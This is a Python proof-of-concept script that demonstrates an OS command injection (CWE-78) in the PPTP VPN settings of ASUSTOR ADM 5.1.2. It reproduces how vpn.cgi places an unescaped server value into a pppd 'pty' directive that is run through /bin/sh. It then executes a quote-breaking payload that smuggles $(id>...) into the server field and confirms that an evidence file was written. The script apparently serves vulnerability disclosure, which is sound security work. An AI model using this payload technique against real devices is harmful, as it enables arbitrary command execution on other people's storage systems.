#!/usr/bin/env python3

import os
import subprocess
import tempfile


PPTP_PATH = "/usr/builtin/bin/pptp"
EVIDENCE_FILE = os.path.join(tempfile.gettempdir(), "poc_evidence")


def build_pty_directive(server: str) -> str:
    """Reproduce vpn.cgi's fprintf (line 208):
    fprintf(pFVar11, "pty '%s %s --nolaunchpppd'\\n", pptp_path, server)
    """
    return f"'{PPTP_PATH} {server} --nolaunchpppd'"


def run_as_pppd(pty_value: str) -> int:
    """Reproduce pppd's pty execution: execl("/bin/sh", "sh", "-c", pty_value, NULL)"""
    result = subprocess.run(
        ["/bin/sh", "-c", pty_value],
        capture_output=True, text=True
    )
    return result.returncode


def main():
    print("=" * 62)
    print(" ASUSTOR ADM 5.1.2.REO1 — PPTP pty Command Injection PoC")
    print(" CWE-78: OS Command Injection")
    print("=" * 62)
    print()

    payload = f"x' $(id>{EVIDENCE_FILE}) #'"
    pty_value = build_pty_directive(payload)
    print(f"  server (raw): {payload}")
    print(f"  No escaping applied")
    print(f"  pty directive: pty {pty_value}")

    if os.path.exists(EVIDENCE_FILE):
        os.remove(EVIDENCE_FILE)

    run_as_pppd(pty_value)

    print()
    try:
        with open(EVIDENCE_FILE) as f:
            content = f.read().strip()
        print(f"  {EVIDENCE_FILE}: {content}")
        print()
        print("  +------------------------------------------+")
        print("  |  OS COMMAND INJECTION CONFIRMED           |")
        print("  +------------------------------------------+")
    except FileNotFoundError:
        print(f"  {EVIDENCE_FILE}: not created")

    print()


if __name__ == "__main__":
    main()
